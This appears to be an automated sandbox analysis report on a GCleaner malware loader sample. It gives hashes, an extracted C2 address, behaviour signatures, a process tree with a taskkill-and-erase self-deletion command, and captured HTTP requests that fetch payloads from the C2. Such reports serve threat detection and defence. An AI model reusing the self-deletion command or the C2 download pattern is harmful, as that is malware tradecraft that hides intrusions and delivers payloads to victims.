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Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/09/2024, 00:17 UTC

General

  • Target

    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe

  • Size

    295KB

  • MD5

    f82c9413e07313056c13db265b4ff06d

  • SHA1

    80c856b004083ebe777a7c4030d247d26cd7dc40

  • SHA256

    c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e

  • SHA512

    3accbff6cc6f3fd95a14a687920aad9053fdcf01bebc911b975fa5b718b685bb88cc5a7efcb05ab7b7f7e74d358d0728ecc0478ddc5b5d8b1455619e6c8eb921

  • SSDEEP

    6144:U6VyfXc9rZniLw7BUDJ5/kDQwgxAu/w/Q:U9XurZniemXwgxAuY/

Malware Config

Extracted

Family

gcleaner

C2

80.66.75.114

Signatures

  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
    "C:\Users\Admin\AppData\Local\Temp\c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5088
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe" & exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3948
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /im "c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3584
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5088 -s 1452
      2⤵
      • Program crash
      PID:3356
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5088 -ip 5088
    1⤵
      PID:4576

    Network

    • flag-us
      DNS
      13.86.106.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      13.86.106.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      73.144.22.2.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      73.144.22.2.in-addr.arpa
      IN PTR
      Response
      73.144.22.2.in-addr.arpa
      IN PTR
      a2-22-144-73deploystaticakamaitechnologiescom
    • flag-us
      DNS
      23.159.190.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      23.159.190.20.in-addr.arpa
      IN PTR
      Response
    • flag-ru
      GET
      http://80.66.75.114/add?substr=one&s=two
      c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
      Remote address:
      80.66.75.114:80
      Request
      GET /add?substr=one&s=two HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: 1
      Host: 80.66.75.114
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sun, 08 Sep 2024 00:17:17 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=100
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-ru
      GET
      http://80.66.75.114/files/download
      c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
      Remote address:
      80.66.75.114:80
      Request
      GET /files/download HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 80.66.75.114
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sun, 08 Sep 2024 00:17:17 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=99
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-ru
      GET
      http://80.66.75.114/files/download
      c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
      Remote address:
      80.66.75.114:80
      Request
      GET /files/download HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 80.66.75.114
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sun, 08 Sep 2024 00:17:19 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=98
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-ru
      GET
      http://80.66.75.114/files/download
      c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
      Remote address:
      80.66.75.114:80
      Request
      GET /files/download HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 80.66.75.114
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sun, 08 Sep 2024 00:17:22 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=97
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-ru
      GET
      http://80.66.75.114/files/download
      c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
      Remote address:
      80.66.75.114:80
      Request
      GET /files/download HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 80.66.75.114
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sun, 08 Sep 2024 00:17:24 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=96
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-ru
      GET
      http://80.66.75.114/files/download
      c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
      Remote address:
      80.66.75.114:80
      Request
      GET /files/download HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 80.66.75.114
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sun, 08 Sep 2024 00:17:26 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=95
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-ru
      GET
      http://80.66.75.114/files/download
      c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
      Remote address:
      80.66.75.114:80
      Request
      GET /files/download HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 80.66.75.114
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sun, 08 Sep 2024 00:17:28 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=94
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-ru
      GET
      http://80.66.75.114/files/download
      c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
      Remote address:
      80.66.75.114:80
      Request
      GET /files/download HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 80.66.75.114
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sun, 08 Sep 2024 00:17:30 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=93
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-ru
      GET
      http://80.66.75.114/files/download
      c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
      Remote address:
      80.66.75.114:80
      Request
      GET /files/download HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 80.66.75.114
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sun, 08 Sep 2024 00:17:32 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=92
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-ru
      GET
      http://80.66.75.114/files/download
      c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
      Remote address:
      80.66.75.114:80
      Request
      GET /files/download HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 80.66.75.114
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sun, 08 Sep 2024 00:17:34 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=91
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-ru
      GET
      http://80.66.75.114/files/download
      c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
      Remote address:
      80.66.75.114:80
      Request
      GET /files/download HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 80.66.75.114
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sun, 08 Sep 2024 00:17:36 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=90
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-ru
      GET
      http://80.66.75.114/files/download
      c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
      Remote address:
      80.66.75.114:80
      Request
      GET /files/download HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 80.66.75.114
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sun, 08 Sep 2024 00:17:39 GMT
      Server: Apache/2.4.52 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=89
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-us
      DNS
      114.75.66.80.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      114.75.66.80.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      97.17.167.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      97.17.167.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      183.59.114.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      183.59.114.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      171.39.242.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      171.39.242.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      172.214.232.199.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      172.214.232.199.in-addr.arpa
      IN PTR
      Response
    • 80.66.75.114:80
      http://80.66.75.114/files/download
      http
      c0da3ea4d016ecf84a11d0b73c7b1cdcfef31391cf58c6591cd927acae83372e.exe
      6.3kB
      3.2kB
      28
      19

      HTTP Request

      GET http://80.66.75.114/add?substr=one&s=two

      HTTP Response

      200

      HTTP Request

      GET http://80.66.75.114/files/download

      HTTP Response

      200

      HTTP Request

      GET http://80.66.75.114/files/download

      HTTP Response

      200

      HTTP Request

      GET http://80.66.75.114/files/download

      HTTP Response

      200

      HTTP Request

      GET http://80.66.75.114/files/download

      HTTP Response

      200

      HTTP Request

      GET http://80.66.75.114/files/download

      HTTP Response

      200

      HTTP Request

      GET http://80.66.75.114/files/download

      HTTP Response

      200

      HTTP Request

      GET http://80.66.75.114/files/download

      HTTP Response

      200

      HTTP Request

      GET http://80.66.75.114/files/download

      HTTP Response

      200

      HTTP Request

      GET http://80.66.75.114/files/download

      HTTP Response

      200

      HTTP Request

      GET http://80.66.75.114/files/download

      HTTP Response

      200

      HTTP Request

      GET http://80.66.75.114/files/download

      HTTP Response

      200
    • 8.8.8.8:53
      13.86.106.20.in-addr.arpa
      dns
      71 B
      157 B
      1
      1

      DNS Request

      13.86.106.20.in-addr.arpa

    • 8.8.8.8:53
      73.144.22.2.in-addr.arpa
      dns
      70 B
      133 B
      1
      1

      DNS Request

      73.144.22.2.in-addr.arpa

    • 8.8.8.8:53
      23.159.190.20.in-addr.arpa
      dns
      72 B
      158 B
      1
      1

      DNS Request

      23.159.190.20.in-addr.arpa

    • 8.8.8.8:53
      114.75.66.80.in-addr.arpa
      dns
      71 B
      129 B
      1
      1

      DNS Request

      114.75.66.80.in-addr.arpa

    • 8.8.8.8:53
      97.17.167.52.in-addr.arpa
      dns
      71 B
      145 B
      1
      1

      DNS Request

      97.17.167.52.in-addr.arpa

    • 8.8.8.8:53
      183.59.114.20.in-addr.arpa
      dns
      72 B
      158 B
      1
      1

      DNS Request

      183.59.114.20.in-addr.arpa

    • 8.8.8.8:53
      171.39.242.20.in-addr.arpa
      dns
      72 B
      158 B
      1
      1

      DNS Request

      171.39.242.20.in-addr.arpa

    • 8.8.8.8:53
      172.214.232.199.in-addr.arpa
      dns
      74 B
      128 B
      1
      1

      DNS Request

      172.214.232.199.in-addr.arpa

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\YHMF37VK\download[1].htm

      Filesize

      1B

      MD5

      cfcd208495d565ef66e7dff9f98764da

      SHA1

      b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

      SHA256

      5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

      SHA512

      31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

    • memory/5088-1-0x0000000002E10000-0x0000000002F10000-memory.dmp

      Filesize

      1024KB

    • memory/5088-2-0x0000000002DE0000-0x0000000002E0D000-memory.dmp

      Filesize

      180KB

    • memory/5088-3-0x0000000000400000-0x000000000042F000-memory.dmp

      Filesize

      188KB

    • memory/5088-8-0x0000000002E10000-0x0000000002F10000-memory.dmp

      Filesize

      1024KB

    • memory/5088-10-0x0000000000400000-0x0000000002B6A000-memory.dmp

      Filesize

      39.4MB

    • memory/5088-11-0x0000000002DE0000-0x0000000002E0D000-memory.dmp

      Filesize

      180KB

    • memory/5088-13-0x0000000000400000-0x000000000042F000-memory.dmp

      Filesize

      188KB

    • memory/5088-22-0x0000000000400000-0x000000000042F000-memory.dmp

      Filesize

      188KB

    • memory/5088-21-0x0000000000400000-0x0000000002B6A000-memory.dmp

      Filesize

      39.4MB

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